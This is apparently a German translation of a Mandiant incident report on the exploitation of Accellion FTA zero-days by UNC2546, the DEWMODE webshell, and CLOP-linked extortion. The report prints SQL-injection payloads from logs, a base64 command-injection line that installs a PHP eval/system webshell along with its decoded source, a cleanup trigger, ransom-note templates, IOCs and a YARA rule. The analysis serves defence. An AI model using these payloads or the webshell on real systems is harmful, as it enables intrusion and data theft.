Cyberkriminelle nutzen Accellion FTA für Datendiebstahl und Erpressung aus

Andrew Moore
Feb 22, 2021
11 min read
|   Letzte Aktualisierung Aug 19, 2022

Seit Mitte Dezember 2020 nutzten böswillige Akteure, die Mandiant unter dem Alias UNC2546 verfolgt, mehrere Zero-Day-Schwachstellen in der alten File Transfer Appliance (FTA) von Accellion aus, um eine neu entdeckte Webshell namens DEWMODE zu installieren. Die Motivation von UNC2546 war nicht sofort ersichtlich, aber seit Ende Januar 2021 erhalten mehrere Organisationen, die zuvor von UNC2546 gehackt worden waren, Erpressungs-E-Mails mit der Drohung, gestohlene Daten auf der „CL0P^_-LEAKS“ .onion-Website zu veröffentlichen. Einige der veröffentlichten Opferdaten scheinen mithilfe der DEWMODE-Webshell gestohlen worden zu sein.

Bemerkenswert ist, dass die Anzahl der Opfer auf der „CL0P^_-LEAKS“-Website im Februar 2021 gestiegen ist, wobei Organisationen in den USA, Singapur, Kanada und den Niederlanden von diesen Angreifern geoutet wurden. Mandiant hatte bereits berichtet, dass FIN11 damit gedroht hat, gestohlene Opferdaten auf dieser .onion-Website zu veröffentlichen, als zusätzliche Taktik, um Opfer unter Druck zu setzen, damit sie nach dem Einsatz der CLOP-Ransomware Erpressungsforderungen nachkommen. Bei den jüngsten CLOP-Erpressungsvorfällen wurde jedoch weder Ransomware eingesetzt noch waren die anderen Merkmale von FIN11 vorhanden.

Die Ausnutzung der Zero-Day-Schwachstellen von Accellion FTA und den Datendiebstahl bei Unternehmen, die das ältere FTA-Produkt einsetzen, verfolgen wir derzeit unter der Bezeichnung UNC2546 und die anschließenden Erpressungsaktivitäten als UNC2582. Wir haben Überschneidungen zwischen UNC2582, UNC2546 und früheren FIN11-Aktivitäten festgestellt und werden die Beziehungen zwischen diesen Aktivitätsclustern weiter auswerten. Weitere Informationen zu unserer Verwendung von UNC-Bezeichnungen finden Sie in unserem Blogbeitrag „DebUNCing Attribution“ (Wie Mandiant unkategorisierte Angreifer aufspürt).

Mandiant hat in dieser Angelegenheit eng mit Accellion zusammengearbeitet und wird in den kommenden Wochen einen vollständigen Bericht zur Sicherheitsbewertung erstellen. Zu diesem Zeitpunkt hat Accellion alle FTA-Schwachstellen gepatcht, von denen bekannt ist, dass sie von den Angreifern ausgenutzt werden, und hat neue Überwachungs- und Warnfunktionen hinzugefügt, um Anomalien im Zusammenhang mit diesen Angriffsvektoren zu erkennen. Mandiant hat diese Patches validiert. Mandiant führt derzeit Penetrationstests und Code-Reviews der aktuellen Version des Accellion FTA-Produkts durch und hat auf Basis unserer bisherigen Analyse keine weiteren kritischen Schwachstellen im FTA-Produkt gefunden. Ziel des Angriffs waren Accellion-Kunden, die das alte FTA-Produkt verwenden.

Accellion FTA ist ein 20 Jahre altes Produkt, das sich dem Ende seiner Lebensdauer nähert. Accellion empfiehlt seinen FTA-Kunden dringend, auf Kiteworks, die Enterprise Content Firewall-Plattform von Accellion, zu migrieren. Laut Accellion basiert Kiteworks auf einem völlig anderen Code.

Die folgenden CVEs (Common Vulnerabilities and Exposures) wurden inzwischen für die Verfolgung der kürzlich gepatchten Accellion FTA-Schwachstellen reserviert:

  • CVE-2021-27101 – SQL-Injektion über einen manipulierten Host-Header
  • CVE-2021-27102 – Ausführung von Betriebssystembefehlen über einen lokalen Webservice-Aufruf
  • CVE-2021-27103 – SSRF über eine manipulierte POST-Anfrage
  • CVE-2021-27104 – Ausführung von Betriebssystembefehlen über eine manipulierte POST-Anfrage

UNC2546 und DEWMODE

Mitte Dezember 2020 reagierte Mandiant auf mehrere Vorfälle, bei denen eine Webshell, die wir DEWMODE nennen, zur Exfiltration von Daten aus Accellion FTA-Geräten verwendet wurde. Accellion FTA ist eine speziell entwickelte Anwendung, die es einem Unternehmen ermöglicht, große Dateien sicher zu übertragen. Von der Exfiltrationsaktivität waren Unternehmen in einer Vielzahl von Branchen und Ländern betroffen.

Bei diesen Vorfällen beobachtete Mandiant eine gemeinsame Nutzung der Infrastruktur und TTPs, einschließlich der Ausnutzung von FTA-Geräten zur Bereitstellung der DEWMODE-Webshell. Mandiant stellte fest, dass ein gemeinsamer Angreifer, den wir jetzt als UNC2546 verfolgen, für diese Aktivitäten verantwortlich war. Während die vollständigen Details der Schwachstellen, die zur Installation von DEWMODE ausgenutzt wurden, noch analysiert werden, haben die Spuren aus verschiedenen Kundenuntersuchungen mehrere Gemeinsamkeiten bei den Aktivitäten von UNC2546 gezeigt.

Beweise für die Ausnutzung und Installation von DEWMODE

Mandiant war in der Lage, viele Details darüber zu rekonstruieren, wie Accellion FTAs durch die Untersuchung von Apache- und Systemprotokollen der betroffenen Geräte kompromittiert wurden – von der anfänglichen Kompromittierung über die Installation von DEWMODE bis hin zur nachfolgenden Interaktion.

Die früheste Identifizierung von Aktivitäten im Zusammenhang mit dieser Kampagne erfolgte Mitte Dezember 2020. Zu diesem Zeitpunkt identifizierte Mandiant UNC2546 als Angreifer, der eine SQL-Injektion-Schwachstelle im Accellion FTA ausnutzte. Diese SQL-Injektion diente als primärer Eindringungsvektor.

Mandiant beobachtete Anzeichen für eine SQL-Injektion, gefolgt von nachfolgenden Anfragen an zusätzliche Ressourcen, wie in Abbildung 1 dargestellt.

[.'))union(select(c_value)from(t_global)where(t_global.c_param)=('w1'))#/sid#935ee00][rid#9700968/initial] (1) pass through /courier/document_root.html

['))union(select(loc_id)from(net1.servers)where(proximity)=(0))#/sid#935ee00][rid#9706978/initial] (1) pass through /courier/document_root.html

[.'))union(select(reverse(c_value))from(t_global)where(t_global.c_param)=('w1'))#/sid#935ee00][rid#971c098/initial] (1) pass through /courier/document_root.html

[<redacted>/sid#935ee00][rid#971a090/initial] (1) pass through /courier/sftp_account_edit.php

[<redacted>/sid#935ee00][rid#9706978/initial] (1) pass through /courier/oauth.api

[<redacted>/sid#935ee00][rid#9708980/initial] (1) pass through /courier/oauth.api

 

Abbildung 1: Protokolldatei der SQL-Injektion

UNC2546 hat diese SQL-Injektion-Schwachstelle ausgenutzt, um einen Schlüssel abzurufen, der anscheinend in Verbindung mit einer Anfrage an die Datei sftp_account_edit.php verwendet wird. Unmittelbar nach dieser Anfrage wurde das integrierte Accellion-Dienstprogramm admin.pl ausgeführt, was dazu führte, dass eine eval-Webshell nach oauth.api geschrieben wurde.

PWD=/home/seos/courier ; USER=root ; COMMAND=/usr/local/bin/admin.pl --edit_user=F
--mount_cifs=-
V,DF,$(echo${IFS}PD9waHAKCmlmKGlzc2V0KCRfUkVRVUVTVFsndG9rZW4nXSkpCnsKICAgIGV2YWwoYm
FzZTY0X2RlY29kZSgkX1JFUVVFU1RbJ3Rva2VuJ10pKTsKfQplbHNlIGlmKGlzc2V0KCRfUkVRVUVTVFsnd
XNlcm5hbWUnXSkpCnsKICAgIHN5c3RlbSgkX1JFUVVFU1RbJ3VzZXJuYW1lJ10pOwp9CmVsc2UKewogICAgaG
VhZGVyKCdMb2NhdGlvbjogLycpOwp9|base64${IFS}-d|tee${IFS}/home/seos/courier/oauth.api);FUK;",PASSWORD # \" --passwd=pop

Abbildung 2: Protokollauszug, der die Erstellung der Eval-Webshell zeigt

Der entschlüsselte Inhalt ist in Abbildung 3 zu sehen.

<?php

if(isset($_REQUEST['token']))
{
    eval(base64_decode($_REQUEST['token']));
}
else if(isset($_REQUEST['username']))
{
    system($_REQUEST['username']);
}
else
{
    header('Location: /');
}

Abbildung 3: Entschlüsselte Eval-Webshell

Fast unmittelbar nach dieser Sequenz wird die DEWMODE-Webshell in das System geschrieben. Das Timing dieser Anfragen legt nahe, dass DEWMODE über die oauth.api-Webshell ausgeliefert wurde. Die verfügbaren Spuren geben jedoch keinen Hinweis auf den genauen Mechanismus, mit dem DEWMODE auf die Festplatte geschrieben wurde.

Mandiant hat die DEWMODE-Webshell an jeweils einem der beiden folgenden Orte identifiziert:

  • /home/seos/courier/about.html
  • /home/httpd/html/about.html

Die DEWMODE-Webshell (Abb. 4) extrahiert eine Liste der verfügbaren Dateien aus einer MySQL-Datenbank auf dem FTA-Gerät und listet diese Dateien und die entsprechenden Metadaten – Datei-ID, Pfad, Dateiname, Uploader und Empfänger – auf einer HTML-Seite auf. UNC2546 verwendet dann die präsentierte Liste, um Dateien über die DEWMODE-Webshell herunterzuladen. Download-Anforderungen werden in den Webprotokollen des FTA-Geräts erfasst. Dabei handelt es sich um Anforderungen an die DEWMODE-Webshell mit verschlüsselten URL-Parametern, wobei dwn der Dateipfad und fn der Name der angeforderten Datei ist (Abb. 5). Die verschlüsselten Werte für Dateipfad und -name, die in den Webprotokollen sichtbar sind, können mithilfe von Schlüsselmaterial entschlüsselt werden, das aus der vom anvisierten FTA-Gerät verwendeten Datenbank stammt. Angesichts der Komplexität dieses Prozesses wenden Sie sich bitte an Mandiant oder Accellion, wenn Ihre Organisation Unterstützung bei der Überprüfung relevanter Protokolle benötigt.

 


Abbildung 4: Screenshot der DEWMODE-Webshell

GET /courier/about.html?dwn=[REDACTED]&fn=[REDACTED] HTTP/1.1" 200 1098240863 "-" "-" "-" TLSv1.2 ECDHE-RSA-AES128-SHA256

Abbildung 5: DEWMODE-URL-Parameter für den Dateidownload

Nach dem Herunterladen von Dateien initiiert UNC2546 eine Bereinigungsroutine, indem ein spezifischer Abfrageparameter namens csrftoken mit dem Wert 11454bd782bb41db213d415e10a0fb3c an DEWMODE übergeben wird. Die folgenden Aktionen werden ausgeführt:

  • Ein Shell-Skript wird nach /tmp/.scr geschrieben und initiiert die folgenden Aktionen:
    • Es entfernt alle Verweise auf about.html aus den Protokolldateien in /var/opt/apache/.
    • Es schreibt die geänderte Protokolldatei nach /tmp/x und ersetzt dann die ursprüngliche Protokolldatei in /var/opt/apache/.
    • Es löscht den Inhalt der Protokolldatei /home/seos/log/adminpl.log.
    • Es löscht /home/seos/courier/about.html (DEWMODE) und /home/seos/courier/oauth.api (Eval-Webshell) und leitet die Befehlsausgabe in die Datei /tmp/.out um.
    • Es ändert die Berechtigungen der Ausgabedatei so, dass diese für alle Benutzer lesbar, schreibbar und ausführbar ist, und setzt den Eigentümer auf „nobody“.
  • Die Skriptdatei /tmp/.scr und andere temporär erstellte Dateien zur Unterstützung der Bereinigung werden gelöscht.
  • Die Bereinigungsausgabe wird dem anfordernden Anwender angezeigt.

Ein Beispiel für eine Bereinigungsanfrage und die anschließende Ausführung des Bereinigungsskripts ist in Abbildung 6 zu sehen.

GET /courier/about.html?csrftoken=11454bd782bb41db213d415e10a0fb3c HTTP/1.1" 200 5 "-" "https://[REDACTED]//courier/about.html?aid=1000" "Mozilla/5.0 (X11; Linux x86_64; rv:82.0) Gecko/20100101

sft sudo:   nobody : TTY=unknown ; PWD=/home/seos/courier ; USER=root ; COMMAND=/usr/local/bin/admin.pl --mount_cifs=AF,DF,'$(sh /tmp/.scr)',PASSWORD

Abbildung 6: DEWMODE-Bereinigungsanforderung

Mandiant identifizierte auch eine Variante von DEWMODE (bdfd11b1b092b7c61ce5f02ffc5ad55a), die geringfügige Änderungen an der Bereinigungsoperation enthielt, einschließlich der Löschung von /var/log/secure und der Entfernung von about.html und oauth.api aus den Verzeichnissen unter /home/httpd/html/ anstelle von /home/seos/courier/.

Bei einigen der Vorfälle beobachtete Mandiant, dass UNC2546 eine Datei namens cache.js.gz anforderte (Abb. 7). Aufgrund des zeitlichen Dateizugriffs auf das Dienstprogramm mysqldump und die mysql-Datenverzeichnisse ist anzunehmen, dass das Archiv einen Dump der Datenbank enthielt. Mit Ausnahme von cache.js.gz hat Mandiant nicht beobachtet, dass sich UNC2546 Dateien von Accellion-Appliances über eine andere Methode als DEWMODE angeeignet hat.

GET //courier/cache.js.gz HTTP/1.1" 200 35654360 "-" "-" "python-requests/2.24.0" TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256

Abbildung 7: cache.js.gz-Dateianfrage

UNC2582: Erpressung nach Datendiebstahl

Kurz nach der Installation der Webshell, in mehreren Fällen innerhalb weniger Stunden, nutzte UNC2546 DEWMODE, um Dateien von kompromittierten FTA-Instanzen herunterzuladen. Während die Beweggründe der Akteure nicht sofort klar waren, begannen die Opfer einige Wochen nach der Auslieferung der DEWMODE-Webshell, Erpressungs-E-Mails von einem Akteur zu erhalten, der behauptete, mit dem CLOP-Ransomware-Team in Verbindung zu stehen (Abb. 8 und 9). Die Akteure drohten damit, Daten auf der „CL0P^_-LEAKS“ .onion-Website zu veröffentlichen, wenn das Opfer nicht eine Erpressungsgebühr zahlt. Wir verfolgen die anschließende Erpressungsaktivität unter einem separaten Bedrohungscluster, UNC2582. Trotz der Verfolgung der Ausbeutungs- und Erpressungsaktivitäten in separaten Bedrohungsclustern haben wir mindestens einen Fall beobachtet, in dem ein Akteur mit einer DEWMODE-Webshell von einem Host aus interagierte, der zum Versenden von Erpressungs-E-Mails mit UNC2582-Attributen verwendet wurde.

Hallo!

Ihr Netzwerk wurde gehackt und es wurde eine Menge wertvoller Daten gestohlen: <Beschreibung der gestohlenen Daten, einschl. Größe der komrimierten Dateipakete> Wir sind das CLOP-Ransomware-Team, Sie können Nachrichten und Artikel über uns googeln. Wir haben eine Website, auf der wir Neuigkeiten und gestohlene Dateien von Unternehmen veröffentlichen, die die Zusammenarbeit verweigert haben. Die Adresse ist: http://[redacted].onion/ (Verwenden Sie den TOR-Browser oder http://[redacted].onion.dog/ -mirror.) Wir werden jeden Tag von 20-30.000 Journalisten, IT-Experten, Hackern und Konkurrenten besucht. Wir raten Ihnen, uns innerhalb von 24 Stunden per Chat zu kontaktieren, um die aktuelle Situation zu besprechen (<URL für die Verhandlung mit dem kompromittierten Unternehmen>). Verwenden Sie den TOR-Browser. Wir wollen keinen Schaden verursachen, unser Ziel ist Geld. Wir sind auch bereit, einen Beweis für das Vorhandensein der erlangten Dateien zu erbringen.

Abbildung 8: Vorlage 1 für Erpresserschreiben

Dies ist die letzte Warnung!

Wenn Sie sich heute nicht melden, werden wir morgen eine Seite mit Screenshots Ihrer Dateien erstellen (wie die anderen auf unserer Website), und Nachrichten an alle E-Mail-Adressen senden, die wir aus Ihren Dateien erhalten haben. Da Journalisten und Hacker unsere Seite besuchen, werden die Anrufe und Fragen sofort beginnen, Online-Publikationen werden Informationen über das Leck veröffentlichen, und Sie werden um Kommentare gebeten.

Sie können das verhindern! Schreiben Sie uns im Chat oder per E-Mail und wir werden die Situation besprechen.

CHAT:  <URL für die Verhandlung mit dem kompromittierten Unternehmen>

EMAIL: [email protected]

BENUTZEN SIE DEN TOR-BROWSER!

Abbildung 9: Vorlage 2 für Erpresserschreiben

Basierend auf Beobachtungen bei mehreren Einsätzen scheint UNC2582 einem Eskalationsmuster zu folgen, um die Opfer unter Druck zu setzen, damit sie den Erpressungsforderungen nachkommen. Die ersten E-Mails werden von einem kostenlosen E-Mail-Konto, das wahrscheinlich für jedes Opfer einzigartig ist, an eine scheinbar begrenzte Anzahl von Adressen im gehackten Unternehmen gesendet. Wenn das Opfer nicht rechtzeitig antwortet, werden weitere E-Mails an eine viel größere Anzahl von Empfängern von Hunderten oder Tausenden von verschiedenen E-Mail-Konten und unter Verwendung unterschiedlicher SMTP-Infrastrukturen gesendet. In mindestens einem Fall schickte UNC2582 auch E-Mails an Partner der infiltrierten Organisation, die Links zu den gestohlenen Daten und zum Verhandlungs-Chat enthielten. Die Überwachung der CL0P^_-LEAKS-Website hat gezeigt, dass UNC2582 seine Drohungen, gestohlene Daten zu veröffentlichen, wahr gemacht hat, da in den letzten Wochen mehrere neue Opfer auf der Website aufgetaucht sind, darunter mindestens eine Organisation, die öffentlich bestätigt hat, dass ihr Accellion FTA-Gerät kürzlich ins Visier genommen wurde.

Wichtige Überschneidungen mit FIN11

UNC2582 (Erpressung) und FIN11

Mandiant hat Überschneidungen zwischen den Erpressungsaktivitäten von UNC2582 (Datendiebstahl) und früheren FIN11-Operationen festgestellt, einschließlich gemeinsamer E-Mail-Absender und der Verwendung der CL0P^_-LEAKS-Website. Obwohl FIN11 für den Einsatz von CLOP-Ransomware bekannt ist, haben wir die Gruppe schon früher bei Datendiebstahl-Erpressungen ohne Ransomware-Einsatz beobachtet, ähnlich wie in diesen Fällen.

  • Einige der im Januar 2021 beobachteten UNC2582-Erpresser-E-Mails wurden von IP-Adressen und/oder E-Mail-Konten gesendet, die von FIN11 in mehreren Phishing-Kampagnen zwischen August und Dezember 2020 verwendet wurden, darunter auch einige der letzten Kampagnen, die eindeutig der Gruppe zuzuordnen waren.
  • Im neuen Jahr haben wir noch keine Phishing-Aktivitäten von FIN11 beobachtet. FIN11 pausiert seine Phishing-Aktivitäten in der Regel über die Winterferien und hatte in der Vergangenheit mehrere längere Inaktivitätsphasen. Der Zeitpunkt dieser aktuellen Pause stimmt jedoch auch mit den Erpressungsaktivitäten von UNC2582 in Bezug auf Datendiebstahl überein.
  • Die Erpresser-E-Mails von UNC2582 enthielten einen Link zur CL0P^_-LEAKS-Website und/oder zu einer jeweils für das infiltrierte Unternehmen spezifischen Verhandlungsseite. Die verlinkten Websites waren dieselben, die zur Unterstützung historischer CLOP-Operationen verwendet wurden, einer Reihe von Ransomware- und Datendiebstahl-Erpressungskampagnen, von denen wir vermuten, dass sie ausschließlich FIN11 zugeschrieben werden können.

UNC2546 (FTA-Exploitation und DEWMODE) und FIN11

Es gibt auch begrenzte Überschneidungen zwischen FIN11 und UNC2546.

  • Viele der Organisationen, die durch UNC2546 kompromittiert wurden, waren zuvor Ziel von FIN11.
  • Eine IP-Adresse, die mit einer DEWMODE-Webshell kommunizierte, befand sich im „Fortunix Networks L.P.“-Netzblock, einem Netzwerk, das von FIN11 häufig zum Hosten von Download- und FRIENDSPEAK-C2-Domains verwendet wird.

Fazit

Die Überschneidungen zwischen FIN11, UNC2546 und UNC2582 sind überzeugend, aber wir verfolgen diese Cluster weiterhin separat, während wir die Art ihrer Beziehungen bewerten. Eine der besonderen Herausforderungen besteht darin, dass der Umfang der Überschneidungen mit FIN11 auf die späteren Phasen des Angriffslebenszyklus beschränkt ist. UNC2546 verwendet einen anderen Infektionsvektor und ein anderes Standbein, und im Gegensatz zu FIN11 haben wir nicht beobachtet, dass die Akteure ihre Präsenz auf die betroffenen Netzwerke ausweiten. Wir haben daher keine ausreichenden Beweise, um die FTA-Exploitation, die DEWMODE-Webshell oder die Erpressung durch Datendiebstahl FIN11 zuzuordnen. Die Verwendung von SQL-Injektion zur Bereitstellung von DEWMODE oder die Erlangung des Zugriffs auf eine DEWMODE-Shell von einem separaten Angreifer würde eine signifikante Veränderung in den TTPs von FIN11 darstellen, da sich die Gruppe traditionell auf Phishing-Kampagnen als anfänglichen Infektionsvektor verlassen hat und wir bisher nicht beobachtet haben, dass sie Zero-Day-Schwachstellen verwendet hat.  

Unser besonderer Dank geht an:

David Wong, Brandon Walters, Stephen Eckels und Jon Erickson

Gefahrenindikatoren (IOCs)

DEWMODE-Webshells

MD5

SHA-256

2798c0e836b907e8224520e7e6e4bb42

5fa2b9546770241da7305356d6427847598288290866837626f621d794692c1b

bdfd11b1b092b7c61ce5f02ffc5ad55a

2e0df09fa37eabcae645302d9865913b818ee0993199a6d904728f3093ff48c7

Quell-IP-Adressen für UNC2546

Die folgenden Quell-IP-Adressen wurden bei mehreren UNC2546-Eindringversuchen beobachtet:

  • 45.135.229.179
  • 79.141.162.82
  • 155.94.160.40
  • 192.154.253.120
  • 192.52.167.101
  • 194.88.104.24

Erkennung

Aufdeckung durch FireEye

  • FE_Webshell_PHP_DEWMODE_1
  • FEC_Webshell_PHP_DEWMODE_1
  • Webshell.PHP.DEWMODE

Aufdeckung durch Mandiant Security Validation

  • A101-515 Übertragung von Schaddateien – DEWMODE-Webshell, Upload, Variante 1
  • A101-516 Übertragung von Schaddateien – DEWMODE-Webshell, Upload, Variante 2

DEWMODE YARA-Regel

Die folgende YARA-Regel muss vor dem Einsatz auf Produktionssystemen oder als Information für Blockierungsregeln zunächst im Rahmen der internen Testprozesse einer Organisation überprüft werden, um eine angemessene Leistungsfähigkeit sicherzustellen und das Risiko von Fehlalarmen zu begrenzen. Diese Regel soll als Ausgangspunkt für die Suche nach DEWMODE-Malware dienen. Sie muss jedoch möglicherweise im Laufe der Zeit angepasst werden, wenn sich die Malware-Familie ändert.

rule DEWMODE_PHP_Webshell
{
    strings:
        $s1 = /if \(isset\(\$_REQUEST\[[\x22\x27]dwn[\x22\x27]]\)[\x09\x20]{0,32}&&[\x09\x20]{0,32}isset\(\$_REQUEST\[[\x22\x27]fn[\x22\x27]\]\)\)\s{0,256}\{/
        $s2 = "<th>file_id</th>"
        $s3 = "<th>path</th>"
        $s4 = "<th>file_name</th>"
        $s5 = "<th>uploaded_by</th>"
        $s6 = "target=\\\"_blank\\\">Download</a></td>"
        $s7 = "Content-Type: application/octet-stream"
        $s8 = "Content-disposition: attachment; filename="
    condition:
        all of them
}